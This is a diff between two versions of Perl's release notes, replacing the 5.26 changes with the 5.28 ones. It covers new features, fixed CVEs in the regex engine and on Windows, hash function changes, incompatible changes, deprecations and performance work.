-    my \$a = \$b;
+=over
 
-See L<perlref/Assigning to References> for more details.
+=item *
 
-=head2 Unicode 9.0 is now supported
+Since this renaming needs to only happen once, if you create a thread
+or child process, that renaming will only happen in the original
+thread or process.
 
-A list of changes is at L<http://www.unicode.org/versions/Unicode9.0.0/>.
-Modules that are shipped with core Perl but not maintained by p5p do not
-necessarily support Unicode 9.0.  L<Unicode::Normalize> does work on 9.0.
+=item *
 
-=head2 Use of C<\p{I<script>}> uses the improved Script_Extensions property
+If you change directories while processing a file, and your operating
+system doesn't provide the C<unlinkat()>, C<renameat()> and C<fchmodat()>
+functions, the final rename step may fail.
 
-Unicode 6.0 introduced an improved form of the Script (C<sc>) property, and
-called it Script_Extensions (C<scx>).  Perl now uses this improved
-version when a property is specified as just C<\p{I<script>}>.  This
-should make programs more accurate when determining if a character is
-used in a given script, but there is a slight chance of breakage for
-programs that very specifically needed the old behavior.  The meaning of
-compound forms, like C<\p{sc=I<script>}> are unchanged.  See
-L<perlunicode/Scripts>.
+=back
 
-=head2 Perl can now do default collation in UTF-8 locales on platforms
-that support it
+L<[perl #127663]|https://rt.perl.org/Public/Bug/Display.html?id=127663>
 
-Some platforms natively do a reasonable job of collating and sorting in
-UTF-8 locales.  Perl now works with those.  For portability and full
-control, L<Unicode::Collate> is still recommended, but now you may
-not need to do anything special to get good-enough results, depending on
-your application.  See
-L<perllocale/Category C<LC_COLLATE>: Collation: Text Comparisons and Sorting>.
+=head2 Initialisation of aggregate state variables
 
-=head2 Better locale collation of strings containing embedded C<NUL>
-characters
+A persistent lexical array or hash variable can now be initialized,
+by an expression such as C<state @a = qw(x y z)>.  Initialization of a
+list of persistent lexical variables is still not possible.
 
-In locales that have multi-level character weights, C<NUL>s are now
-ignored at the higher priority ones.  There are still some gotchas in
-some strings, though.  See
-L<perllocale/Collation of strings containing embedded C<NUL> characters>.
+=head2 Full-size inode numbers
 
-=head2 C<CORE> subroutines for hash and array functions callable via
-reference
+On platforms where inode numbers are of a type larger than perl's native
+integer numerical types, L<stat|perlfunc/stat> will preserve the full
+content of large inode numbers by returning them in the form of strings of
+decimal digits.  Exact comparison of inode numbers can thus be achieved by
+comparing with C<eq> rather than C<==>.  Comparison with C<==>, and other
+numerical operations (which are usually meaningless on inode numbers),
+work as well as they did before, which is to say they fall back to
+floating point, and ultimately operate on a fairly useless rounded inode
+number if the real inode number is too big for the floating point format.
 
-The hash and array functions in the C<CORE> namespace (C<keys>, C<each>,
-C<values>, C<push>, C<pop>, C<shift>, C<unshift> and C<splice>) can now
-be called with ampersand syntax (C<&CORE::keys(\%hash>) and via reference
-(C<< my $k = \&CORE::keys; $k-E<gt>(\%hash) >>).  Previously they could only be
-used when inlined.
+=head2 The C<sprintf> C<%j> format size modifier is now available with pre-C99 compilers
 
-=head2 New Hash Function For 64-bit Builds
+The actual size used depends on the platform, so remains unportable.
 
-We have switched to a hybrid hash function to better balance
-performance for short and long keys.
+=head2 Close-on-exec flag set atomically
 
-For short keys, 16 bytes and under, we use an optimised variant of
-One At A Time Hard, and for longer keys we use Siphash 1-3.  For very
-long keys this is a big improvement in performance.  For shorter keys
-there is a modest improvement.
+When opening a file descriptor, perl now generally opens it with its
+close-on-exec flag already set, on platforms that support doing so.
+This improves thread safety, because it means that an C<exec> initiated
+by one thread can no longer cause a file descriptor in the process
+of being opened by another thread to be accidentally passed to the
+executed program.
 
-=head1 Security
+Additionally, perl now sets the close-on-exec flag more reliably, whether
+it does so atomically or not.  Most file descriptors were getting the
+flag set, but some were being missed.
 
-=head2 Removal of the current directory (C<".">) from C<@INC>
+=head2 String- and number-specific bitwise ops are no longer experimental
 
-The perl binary includes a default set of paths in C<@INC>.  Historically
-it has also included the current directory (C<".">) as the final entry,
-unless run with taint mode enabled (C<perl -T>).  While convenient, this has
-security implications: for example, where a script attempts to load an
-optional module when its current directory is untrusted (such as F</tmp>),
-it could load and execute code from under that directory.
+The new string-specific (C<&. |. ^. ~.>) and number-specific (C<& | ^ ~>)
+bitwise operators introduced in Perl 5.22 that are available within the
+scope of C<use feature 'bitwise'> are no longer experimental.
+Because the number-specific ops are spelled the same way as the existing
+operators that choose their behaviour based on their operands, these
+operators must still be enabled via the "bitwise" feature, in either of
+these two ways:
 
-Starting with v5.26, C<"."> is always removed by default, not just under
-tainting.  This has major implications for installing modules and executing
-scripts.
+    use feature "bitwise";
 
-The following new features have been added to help ameliorate these
-issues.
+    use v5.28; # "bitwise" now included
 
-=over
+They are also now enabled by the B<-E> command-line switch.
 
-=item * F<Configure -Udefault_inc_excludes_dot>
+The "bitwise" feature no longer emits a warning.  Existing code that
+disables the "experimental::bitwise" warning category that the feature
+previously used will continue to work.
 
-There is a new F<Configure> option, C<default_inc_excludes_dot> (enabled
-by default) which builds a perl executable without C<".">; unsetting this
-option using C<-U> reverts perl to the old behaviour.  This may fix your
-path issues but will reintroduce all the security concerns, so don't
-build a perl executable like this unless you're I<really> confident that
-such issues are not a concern in your environment.
+One caveat that module authors ought to be aware of is that the numeric
+operators now pass a fifth TRUE argument to overload methods.  Any methods
+that check the number of operands may croak if they do not expect so many.
+XS authors in particular should be aware that this:
 
-=item * C<PERL_USE_UNSAFE_INC>
+    SV *
+    bitop_handler (lobj, robj, swap)
 
-There is a new environment variable recognised by the perl interpreter.
-If this variable has the value 1 when the perl interpreter starts up,
-then C<"."> will be automatically appended to C<@INC> (except under tainting).
+may need to be changed to this:
 
-This allows you restore the old perl interpreter behaviour on a
-case-by-case basis.  But note that this is intended to be a temporary crutch,
-and this feature will likely be removed in some future perl version.
-It is currently set by the C<cpan> utility and C<Test::Harness> to
-ease installation of CPAN modules which have not been updated to handle the
-lack of dot.  Once again, don't use this unless you are sure that this
-will not reintroduce any security concerns.
+    SV *
+    bitop_handler (lobj, robj, swap, ...)
 
-=item * A new deprecation warning issued by C<do>.
+=head2 Locales are now thread-safe on systems that support them
 
-While it is well-known that C<use> and C<require> use C<@INC> to search
-for the file to load, many people don't realise that C<do "file"> also
-searches C<@INC> if the file is a relative path.  With the removal of C<".">,
-a simple C<do "file.pl"> will fail to read in and execute C<file.pl> from
-the current directory.  Since this is commonly expected behaviour, a new
-deprecation warning is now issued whenever C<do> fails to load a file which
-it otherwise would have found if a dot had been in C<@INC>.
+These systems include Windows starting with Visual Studio 2005, and in
+POSIX 2008 systems.
 
-=back
+The implication is that you are now free to use locales and change them
+in a threaded environment.  Your changes affect only your thread.
+See L<perllocale/Multi-threaded operation>
 
-Here are some things script and module authors may need to do to make
-their software work in the new regime.
+=head2 New read-only predefined variable C<${^SAFE_LOCALES}>
 
-=over
+This variable is 1 if the Perl interpreter is operating in an
+environment where it is safe to use and change locales (see
+L<perllocale>.)  This variable is true when the perl is
+unthreaded, or compiled in a platform that supports thread-safe locale
+operation (see previous item).
 
-=item * Script authors
+=head1 Security
 
-If the issue is within your own code (rather than within included
-modules), then you have two main options.  Firstly, if you are confident
-that your script will only be run within a trusted directory (under which
-you expect to find trusted files and modules), then add C<"."> back into the
-path; I<e.g.>:
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
 
-    BEGIN {
-        my $dir = "/some/trusted/directory";
-        chdir $dir or die "Can't chdir to $dir: $!\n";
-        # safe now
-        push @INC, '.';
-    }
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl.  This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
 
-    use "Foo::Bar"; # may load /some/trusted/directory/Foo/Bar.pm
-    do "config.pl"; # may load /some/trusted/directory/config.pl
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
 
-On the other hand, if your script is intended to be run from within
-untrusted directories (such as F</tmp>), then your script suddenly failing
-to load files may be indicative of a security issue.  You most likely want
-to replace any relative paths with full paths; for example,
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl.  This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
 
-    do "foo_config.pl"
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
 
-might become
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
 
-    do "$ENV{HOME}/foo_config.pl"
+=head2 Default Hash Function Change
 
-If you are absolutely certain that you want your script to load and
-execute a file from the current directory, then use a C<./> prefix; for
-example:
+Perl 5.28.0 retires various older hash functions which are not viewed as
+sufficiently secure for use in Perl. We now support four general purpose
+hash functions, Siphash (2-4 and 1-3 variants), and  Zaphod32, and StadtX
+hash. In addition we support SBOX32 (a form of tabular hashing) for hashing
+short strings, in conjunction with any of the other hash functions provided.
 
-    do "./foo_config.pl"
+By default Perl is configured to support SBOX hashing of strings up to 24
+characters, in conjunction with StadtX hashing on 64 bit builds, and
+Zaphod32 hashing for 32 bit builds.
 
-=item * Installing and using CPAN modules
+You may control these settings with the following options to Configure:
 
-If you install a CPAN module using an automatic tool like C<cpan>, then
-this tool will itself set the C<PERL_USE_UNSAFE_INC> environment variable
-while building and testing the module, which may be sufficient to install
-a distribution which hasn't been updated to be dot-aware.  If you want to
-install such a module manually, then you'll need to replace the
-traditional invocation:
+    -DPERL_HASH_FUNC_SIPHASH
+    -DPERL_HASH_FUNC_SIPHASH13
+    -DPERL_HASH_FUNC_STADTX
+    -DPERL_HASH_FUNC_ZAPHOD32
 
-    perl Makefile.PL && make && make test && make install
+To disable SBOX hashing you can use
 
-with something like
+    -DPERL_HASH_USE_SBOX32_ALSO=0
 
-    (export PERL_USE_UNSAFE_INC=1; \
-     perl Makefile.PL && make && make test && make install)
+And to set the maximum length to use SBOX32 hashing on with:
 
-Note that this only helps build and install an unfixed module.  It's
-possible for the tests to pass (since they were run under
-C<PERL_USE_UNSAFE_INC=1>), but for the module itself to fail to perform
-correctly in production.  In this case, you may have to temporarily modify
-your script until a fixed version of the module is released.
-For example:
+    -DSBOX32_MAX_LEN=16
 
-    use Foo::Bar;
-    {
-        local @INC = (@INC, '.');
-        # assuming read_config() needs '.' in @INC
-        $config = Foo::Bar->read_config();
-    }
+The maximum length allowed is 256. There probably isn't much point
+in setting it higher than the default.
 
-This is only rarely expected to be necessary.  Again, if doing this,
-assess the resultant risks first.
+=head1 Incompatible Changes
 
-=item * Module Authors
+=head2 Subroutine attribute and signature order
 
-If you maintain a CPAN distribution, it may need updating to run in
-a dotless environment.  Although C<cpan> and other such tools will
-currently set the C<PERL_USE_UNSAFE_INC> during module build, this is a
-temporary workaround for the set of modules which rely on C<"."> being in
-C<@INC> for installation and testing, and this may mask deeper issues.  It
-could result in a module which passes tests and installs, but which
-fails at run time.
+The experimental subroutine signatures feature has been changed so that
+subroutine attributes must now come before the signature rather than
+after. This is because attributes like C<:lvalue> can affect the
+compilation of code within the signature, for example:
 
-During build, test, and install, it will normally be the case that any perl
-processes will be executing directly within the root directory of the
-untarred distribution, or a known subdirectory of that, such as F<t/>.  It
-may well be that F<Makefile.PL> or F<t/foo.t> will attempt to include
-local modules and configuration files using their direct relative
-filenames, which will now fail.
+    sub f :lvalue ($a = do { $x = "abc"; return substr($x,0,1)}) { ...}
 
-However, as described above, automatic tools like F<cpan> will (for now)
-set the C<PERL_USE_UNSAFE_INC> environment variable, which introduces
-dot during a build.
+Note that this the second time they have been flipped:
 
-This makes it likely that your existing build and test code will work, but
-this may mask issues with your code which only manifest when used after
-install.  It is prudent to try and run your build process with that
-variable explicitly disabled:
+    sub f :lvalue ($a, $b) { ... }; # 5.20; 5.28 onwards
+    sub f ($a, $b) :lvalue { ... }; # 5.22 - 5.26
 
-    (export PERL_USE_UNSAFE_INC=0; \
-     perl Makefile.PL && make && make test && make install)
+=head2 Comma-less variable lists in formats are no longer allowed
 
-This is more likely to show up any potential problems with your module's
-build process, or even with the module itself.  Fixing such issues will
-ensure both that your module can again be installed manually, and that
-it will still build once the C<PERL_USE_UNSAFE_INC> crutch goes away.
+Omitting the commas between variables passed to formats is no longer
+allowed.  This has been deprecated since Perl 5.000.
 
-When fixing issues in tests due to the removal of dot from C<@INC>,
-reinsertion of dot into C<@INC> should be performed with caution, for this
-too may suppress real errors in your runtime code.  You are encouraged
-wherever possible to apply the aforementioned approaches with explicit
-absolute/relative paths, or to relocate your needed files into a
-subdirectory and insert that subdirectory into C<@INC> instead.
+=head2 The C<:locked> and C<:unique> attributes have been removed
 
-If your runtime code has problems under the dotless C<@INC>, then the comments
-above on how to fix for script authors will mostly apply here too.  Bear in
-mind though that it is considered bad form for a module to globally add a dot to
-C<@INC>, since it introduces both a security risk and hides issues of
-accidentally requiring dot in C<@INC>, as explained above.
+These have been no-ops and deprecated since Perl 5.12 and 5.10,
+respectively.
 
-=back
+=head2 C<\N{}> with nothing between the braces is now illegal
 
-=head2 Escaped colons and relative paths in PATH
+This has been deprecated since Perl 5.24.
 
-On Unix systems, Perl treats any relative paths in the C<PATH> environment
-variable as tainted when starting a new process.  Previously, it was
-allowing a backslash to escape a colon (unlike the OS), consequently
-allowing relative paths to be considered safe if the PATH was set to
-something like C</\:.>.  The check has been fixed to treat C<"."> as tainted
-in that example.
+=head2 Opening the same symbol as both a file and directory handle is no longer allowed
 
-=head2 New C<-Di> switch is now required for PerlIO debugging output
+Using C<open()> and C<opendir()> to associate both a filehandle and a dirhandle
+to the same symbol (glob or scalar) has been deprecated since Perl 5.10.
 
-This is used for debugging of code within PerlIO to avoid recursive
-calls.  Previously this output would be sent to the file specified
-by the C<PERLIO_DEBUG> environment variable if perl wasn't running
-setuid and the C<-T> or C<-t> switches hadn't been parsed yet.
+=head2 Use of bare C<< << >> to mean C<< <<"" >> is no longer allowed
 
-If perl performed output at a point where it hadn't yet parsed its
-switches this could result in perl creating or overwriting the file
-named by C<PERLIO_DEBUG> even when the C<-T> switch had been supplied.
+Use of a bare terminator has been deprecated since Perl 5.000.
 
-Perl now requires the C<-Di> switch to be present before it will produce
-PerlIO debugging
-output.  By default this is written to C<stderr>, but can optionally
-be redirected to a file by setting the C<PERLIO_DEBUG> environment
-variable.
+=head2 Setting $/ to a reference to a non-positive integer no longer allowed
 
-If perl is running setuid or the C<-T> switch was supplied,
-C<PERLIO_DEBUG> is ignored and the debugging output is sent to
-C<stderr> as for any other C<-D> switch.
+This used to work like setting it to C<undef>, but has been deprecated
+since Perl 5.20.
 
-=head1 Incompatible Changes
+=head2 Unicode code points with values exceeding C<IV_MAX> are now fatal
 
-=head2 Unescaped literal C<"{"> characters in regular expression
-patterns are no longer permissible
+This was deprecated since Perl 5.24.
 
-You have to now say something like C<"\{"> or C<"[{]"> to specify to
-match a LEFT CURLY BRACKET; otherwise, it is a fatal pattern compilation
-error.  This change will allow future extensions to the language.
+=head2 The C<B::OP::terse> method has been removed
 
-These have been deprecated since v5.16, with a deprecation message
-raised for some uses starting in v5.22.  Unfortunately, the code added
-to raise the message was buggy and failed to warn in some cases where
-it should have.  Therefore, enforcement of this ban for these cases is
-deferred until Perl 5.30, but the code has been fixed to raise a
-default-on deprecation message for them in the meantime.
+Use C<B::Concise::b_terse> instead.
 
-Some uses of literal C<"{"> occur in contexts where we do not foresee
-the meaning ever being anything but the literal, such as the very first
-character in the pattern, or after a C<"|"> meaning alternation.  Thus
+=head2 Use of inherited AUTOLOAD for non-methods is no longer allowed
 
- qr/{fee|{fie/
+This was deprecated in Perl 5.004.
 
-matches either of the strings C<{fee> or C<{fie>.  To avoid forcing
-unnecessary code changes, these uses do not need to be escaped, and no
-warning is raised about them, and there are no current plans to change this.
+=head2 Use of strings with code points over 0xFF is not allowed for bitwise string operators
 
-But it is always correct to escape C<"{">, and the simple rule to
-remember is to always do so.
+Code points over C<0xFF> do not make sense for bitwise operators and such
+an operation will now croak, except for a few remaining cases. See
+L<perldeprecation>.
 
-See L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>.
+This was deprecated in Perl 5.24.
 
-=head2 C<scalar(%hash)> return signature changed
+=head2 Setting C<${^ENCODING}> to a defined value is now illegal
 
-The value returned for C<scalar(%hash)> will no longer show information about
-the buckets allocated in the hash.  It will simply return the count of used
-keys.  It is thus equivalent to C<0+keys(%hash)>.
+This has been deprecated since Perl 5.22 and a no-op since Perl 5.26.
 
-A form of backward compatibility is provided via
-L<C<Hash::Util::bucket_ratio()>|Hash::Util/bucket_ratio> which provides
-the same behavior as
-C<scalar(%hash)> provided in Perl 5.24 and earlier.
+=head2 Backslash no longer escapes colon in PATH for the C<-S> switch
 
-=head2 C<keys> returned from an lvalue subroutine
+Previously the C<-S> switch incorrectly treated backslash ("\") as an
+escape for colon when traversing the C<PATH> environment variable.
+L<[perl #129183]|https://rt.perl.org/Ticket/Display.html?id=129183>
 
-C<keys> returned from an lvalue subroutine can no longer be assigned
-to in list context.
+=head2 the -DH (DEBUG_H) misfeature has been removed
 
-    sub foo : lvalue { keys(%INC) }
-    (foo) = 3; # death
-    sub bar : lvalue { keys(@_) }
-    (bar) = 3; # also an error
+On a perl built with debugging support, the C<H> flag to the C<-D>
+debugging option has been removed. This was supposed to dump hash values,
+but has been broken for many years.
 
-This makes the lvalue sub case consistent with C<(keys %hash) = ...> and
-C<(keys @_) = ...>, which are also errors.
-L<[perl #128187]|https://rt.perl.org/Public/Bug/Display.html?id=128187>
+=head2 Yada-yada is now strictly a statement
 
-=head2 The C<${^ENCODING}> facility has been removed
+By the time of its initial stable release in Perl 5.12, the C<...>
+(yada-yada) operator was explicitly intended to serve as a statement,
+not an expression.  However, the original implementation was confused
+on this point, leading to inconsistent parsing.  The operator was
+accidentally accepted in a few situations where it did not serve as a
+complete statement, such as
 
-The special behaviour associated with assigning a value to this variable
-has been removed.  As a consequence, the L<encoding> pragma's default mode
-is no longer supported.  If
-you still need to write your source code in encodings other than UTF-8, use a
-source filter such as L<Filter::Encoding> on CPAN or L<encoding>'s C<Filter>
-option.
+    ... . "foo";
+    ... if $a < $b;
 
-=head2 C<POSIX::tmpnam()> has been removed
+The parsing has now been made consistent, permitting yada-yada only as
+a statement.  Affected code can use C<do{...}> to put a yada-yada into
+an arbitrary expression context.
 
-The fundamentally unsafe C<tmpnam()> interface was deprecated in
-Perl 5.22 and has now been removed.  In its place, you can use,
-for example, the L<File::Temp> interfaces.
+=head2 Sort algorithm can no longer be specified
 
-=head2 require ::Foo::Bar is now illegal.
+Since Perl 5.8, the L<sort> pragma has had subpragmata C<_mergesort>,
+C<_quicksort>, and C<_qsort> that can be used to specify which algorithm
+perl should use to implement the L<sort|perlfunc/sort> builtin.
+This was always considered a dubious feature that might not last,
+hence the underscore spellings, and they were documented as not being
+portable beyond Perl 5.8.  These subpragmata have now been deleted,
+and any attempt to use them is an error.  The L<sort> pragma otherwise
+remains, and the algorithm-neutral C<stable> subpragma can be used to
+control sorting behaviour.
+L<[perl #119635]|https://rt.perl.org/Ticket/Display.html?id=119635>
 
-Formerly, C<require ::Foo::Bar> would try to read F</Foo/Bar.pm>.  Now any
-bareword require which starts with a double colon dies instead.
+=head2 Over-radix digits in floating point literals
 
-=head2 Literal control character variable names are no longer permissible
+Octal and binary floating point literals used to permit any hexadecimal
+digit to appear after the radix point.  The digits are now restricted
+to those appropriate for the radix, as digits before the radix point
+always were.
 
-A variable name may no longer contain a literal control character under
-any circumstances.  These previously were allowed in single-character
-names on ASCII platforms, but have been deprecated there since Perl
-5.20.  This affects things like C<$I<\cT>>, where I<\cT> is a literal
-control (such as a C<NAK> or C<NEGATIVE ACKNOWLEDGE> character) in the
-source code.
+=head2 Return type of C<unpackstring()>
 
-=head2 C<NBSP> is no longer permissible in C<\N{...}>
+The return types of the C API functions C<unpackstring()> and
+C<unpack_str()> have changed from C<I32> to C<SSize_t>, in order to
+accommodate datasets of more than two billion items.
 
-The name of a character may no longer contain non-breaking spaces.  It
-has been deprecated to do so since Perl 5.22.
-
 =head1 Deprecations
 
-=head2 String delimiters that aren't stand-alone graphemes are now deprecated
+=head2 Use of L<C<vec>|perlfunc/vec EXPR,OFFSET,BITS> on strings with code points above 0xFF is deprecated
 
-For Perl to eventually allow string delimiters to be Unicode
-grapheme clusters (which look like a single character, but may be
-a sequence of several ones), we have to stop allowing a single character
-delimiter that isn't a grapheme by itself.  These are unlikely to exist
-in actual code, as they would typically display as attached to the
-character in front of them.
+Such strings are represented internally in UTF-8, and C<vec> is a
+bit-oriented operation that will likely give unexpected results on those
+strings.
 
-=head2 C<\cI<X>> that maps to a printable is no longer deprecated
+=head2 Some uses of unescaped C<"{"> in regexes are no longer fatal
 
-This means we have no plans to remove this feature.  It still raises a
-warning, but only if syntax warnings are enabled.  The feature was
-originally intended to be a way to express non-printable characters that
-don't have a mnemonic (C<\t> and C<\n> are mnemonics for two
-non-printable characters, but most non-printables don't have a
-mnemonic.)  But the feature can be used to specify a few printable
-characters, though those are more clearly expressed as the printable
-itself.  See
-L<http://www.nntp.perl.org/group/perl.perl5.porters/2017/02/msg242944.html>.
+Perl 5.26.0 fatalized some uses of an unescaped left brace, but an
+exception was made at the last minute, specifically crafted to be a
+minimal change to allow GNU Autoconf to work.  That tool is heavily
+depended upon, and continues to use the deprecated usage.  Its use of an
+unescaped left brace is one where we have no intention of repurposing
+C<"{"> to be something other than itself.
 
-=head1 Performance Enhancements
+That exception is now generalized to include various other such cases
+where the C<"{"> will not be repurposed. 
 
-=over 4
+Note that these uses continue to raise a deprecation message.
 
-=item *
+=head2 Use of unescaped C<"{"> immediately after a C<"("> in regular expression patterns is deprecated
 
-A hash in boolean context is now sometimes faster, I<e.g.>
+Using unescaped left braces is officially deprecated everywhere, but it
+is not enforced in contexts where their use does not interfere with
+expected extensions to the language.  A deprecation is added in this
+release when the brace appears immediately after an opening parenthesis.
+Before this, even if the brace was part of a legal quantifier, it was
+not interpreted as such, but as the literal characters, unlike other
+quantifiers that follow a C<"("> which are considered errors.  Now,
+their use will raise a deprecation message, unless turned off.
 
-    if (!%h) { ... }
+=head2 Assignment to C<$[> will be fatal in Perl 5.30
 
-This was already special-cased, but some cases were missed (such as
-C<grep %$_, @AoH>), and even the ones which weren't have been improved.
+Assigning a non-zero value to L<C<$[>|perlvar/$[> has been deprecated
+since Perl 5.12, but was never given a deadline for removal.  This has
+now been scheduled for Perl 5.30.
 
-=item * New Faster Hash Function on 64 bit builds
+=head2 hostname() won't accept arguments in Perl 5.32
 
-We use a different hash function for short and long keys.  This should
-improve performance and security, especially for long keys.
+Passing arguments to C<Sys::Hostname::hostname()> was already deprecated,
+but didn't have a removal date.  This has now been scheduled for Perl
+5.32.  L<[perl #124349]|https://rt.perl.org/Ticket/Display.html?id=124349>
 
-=item * readline is faster
+=head2 Module removals
 
-Reading from a file line-by-line with C<readline()> or C<< E<lt>E<gt> >> should
-now typically be faster due to a better implementation of the code that
-searches for the next newline character.
+The following modules will be removed from the core distribution in a
+future release, and will at that time need to be installed from CPAN.
+Distributions on CPAN which require these modules will need to list them as
+prerequisites.
 
-=item *
+The core versions of these modules will now issue C<"deprecated">-category
+warnings to alert you to this fact.  To silence these deprecation warnings,
+install the modules in question from CPAN.
 
-Assigning one reference to another, I<e.g.> C<$ref1 = $ref2> has been
-optimized in some cases.
+Note that these are (with rare exceptions) fine modules that you are encouraged
+to continue to use.  Their disinclusion from core primarily hinges on their
+necessity to bootstrapping a fully functional, CPAN-capable Perl installation,
+not usually on concerns over their design.
 
-=item *
+=over
 
-Remove some exceptions to creating Copy-on-Write strings. The string
-buffer growth algorithm has been slightly altered so that you're less
-likely to encounter a string which can't be COWed.
+=item B::Debug
 
-=item *
+=item L<Locale::Codes> and its associated Country, Currency and Language modules
 
-Better optimise array and hash assignment: where an array or hash appears
-in the LHS of a list assignment, such as C<(..., @a) = (...);>, it's
-likely to be considerably faster, especially if it involves emptying the
-array/hash. For example, this code runs about a third faster compared to
-Perl 5.24.0:
-
-    my @a;
-    for my $i (1..10_000_000) {
-        @a = (1,2,3);
-        @a = ();
-    }
-
-=item *
-
-Converting a single-digit string to a number is now substantially faster.
-
-=item *
-
-The C<split> builtin is now slightly faster in many cases: in particular
-for the two specially-handled forms
-
-    my    @a = split ...;
-    local @a = split ...;
-
-=item *
-
-The rather slow implementation for the experimental subroutine signatures
-feature has been made much faster; it is now comparable in speed with the
-traditional C<my ($a, $b, @c) = @_>.
-
-=item *
-
-Bareword constant strings are now permitted to take part in constant
-folding.  They were originally exempted from constant folding in August 1999,
-during the development of Perl 5.6, to ensure that C<use strict "subs">
-would still apply to bareword constants.  That has now been accomplished a
-different way, so barewords, like other constants, now gain the performance
-benefits of constant folding.
-
-This also means that void-context warnings on constant expressions of
-barewords now report the folded constant operand, rather than the operation;
-this matches the behaviour for non-bareword constants.
-
 =back
 
-=head1 Modules and Pragmata
+=head1 Performance Enhancements
 
-=head2 Updated Modules and Pragmata
-
 =over 4
 
 =item *
 
-IO::Compress has been upgraded from version 2.069 to 2.074.
+The start up overhead for creating regular expression patterns with
+Unicode properties (C<\p{...}>) has been greatly reduced in most cases.
 
 =item *
 
-L<Archive::Tar> has been upgraded from version 2.04 to 2.24.
+Many string concatenation expressions are now considerably faster, due
+to the introduction internally of a C<multiconcat> opcode which combines
+multiple concatenations, and optionally a C<=> or C<.=>, into a single
+action. For example, apart from retrieving C<$s>, C<$a> and C<$b>, this
+whole expression is now handled as a single op:
 
-=item *
+    $s .= "a=$a b=$b\n"
 
-L<arybase> has been upgraded from version 0.11 to 0.12.
+As a special case, if the LHS of an assignment is a lexical variable or
+C<my $s>, the op itself handles retrieving the lexical variable, which
+is faster.
 
-=item *
+In general, the more the expression includes a mix of constant strings and
+variable expressions, the longer the expression, and the more it mixes
+together non-utf8 and utf8 strings, the more marked the performance
+improvement. For example on a C<x86_64> system, this code has been
+benchmarked running four times faster:
 
-L<attributes> has been upgraded from version 0.27 to 0.29.
+    my $s;
+    my $a = "ab\x{100}cde";
+    my $b = "fghij";
+    my $c = "\x{101}klmn";
 
-The deprecation message for the C<:unique> and C<:locked> attributes
-now mention that they will disappear in Perl 5.28.
+    for my $i (1..10_000_000) {
+        $s = "\x{100}wxyz";
+        $s .= "foo=$a bar=$b baz=$c";
+    }
 
-=item *
+In addition, C<sprintf> expressions which have a constant format
+containing only C<%s> and C<%%> format elements, and which have a fixed
+number of arguments, are now also optimised into a C<multiconcat> op.
 
-L<B> has been upgraded from version 1.62 to 1.68.
-
 =item *
 
-L<B::Concise> has been upgraded from version 0.996 to 0.999.
+The C<ref()> builtin is now much faster in boolean context, since it no
+longer bothers to construct a temporary string like C<Foo=ARRAY(0x134af48)>.
 
-Its output is now more descriptive for C<op_private> flags.
-
 =item *
 
-L<B::Debug> has been upgraded from version 1.23 to 1.24.
+C<keys()> in void and scalar contexts is now more efficient.
 
 =item *
 
-L<B::Deparse> has been upgraded from version 1.37 to 1.40.
+The common idiom of comparing the result of index() with -1 is now
+specifically optimised,  e.g.
 
-=item *
+    if (index(...) != -1) { ... }
 
-L<B::Xref> has been upgraded from version 1.05 to 1.06.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<base> has been upgraded from version 2.23 to 2.25.
+C<for()> loops and similar constructs are now more efficient in most cases.
 
 =item *
 
-L<bignum> has been upgraded from version 0.42 to 0.47.
+L<File::Glob> has been modified to remove unnecessary backtracking and
+recursion, thanks to Russ Cox. See L<https://research.swtch.com/glob>
+for more details.
 
 =item *
 
-L<Carp> has been upgraded from version 1.40 to 1.42.
+The XS-level C<SvTRUE()> API function is now more efficient.
 
 =item *
 
-L<charnames> has been upgraded from version 1.43 to 1.44.
+Various integer-returning ops are now more efficient in scalar/boolean context.
 
 =item *
 
-L<Compress::Raw::Bzip2> has been upgraded from version 2.069 to 2.074.
+Slightly improved performance when parsing stash names.
+L<[perl #129990]|https://rt.perl.org/Public/Bug/Display.html?id=129990>
 
 =item *
 
-L<Compress::Raw::Zlib> has been upgraded from version 2.069 to 2.074.
+Calls to C<require> for an already loaded module are now slightly faster.
+L<[perl #132171]|https://rt.perl.org/Public/Bug/Display.html?id=132171>
 
 =item *
 
-L<Config::Perl::V> has been upgraded from version 0.25 to 0.28.
+The performance of pattern matching C<[[:ascii:]]> and C<[[:^ascii:]]>
+has been improved significantly except on EBCDIC platforms.
 
 =item *
 
-L<CPAN> has been upgraded from version 2.11 to 2.18.
+Various optimizations have been applied to matching regular expression
+patterns, so under the right circumstances, significant performance
+gains may be noticed.  But in an application with many varied patterns,
+little overall improvement likely will be seen.
 
 =item *
 
-L<CPAN::Meta> has been upgraded from version 2.150005 to 2.150010.
+Other optimizations have been applied to UTF-8 handling, but these are
+not typically a major factor in most applications.
 
-=item *
+=back
 
-L<Data::Dumper> has been upgraded from version 2.160 to 2.167.
+=head1 Modules and Pragmata
 
-The XS implementation now supports Deparse.
+Key highlights in this release across several modules:
 
-=item *
+=head2 Removal of use vars
 
-L<DB_File> has been upgraded from version 1.835 to 1.840.
+The usage of C<use vars> has been discouraged since the introduction of
+C<our> in Perl 5.6.0. Where possible the usage of this pragma has now been
+removed from the Perl source code.
 
-=item *
+This had a slight effect (for the better) on the output of WARNING_BITS in
+L<B::Deparse>.
 
-L<Devel::Peek> has been upgraded from version 1.23 to 1.26.
+=head2 Use of DynaLoader changed to XSLoader in many modules
 
-=item *
+XSLoader is more modern, and most modules already require perl 5.6 or
+greater, so no functionality is lost by switching. In some cases, we have
+also made changes to the local implementation that may not be reflected in
+the version on CPAN due to a desire to maintain more backwards
+compatibility.
 
-L<Devel::PPPort> has been upgraded from version 3.32 to 3.35.
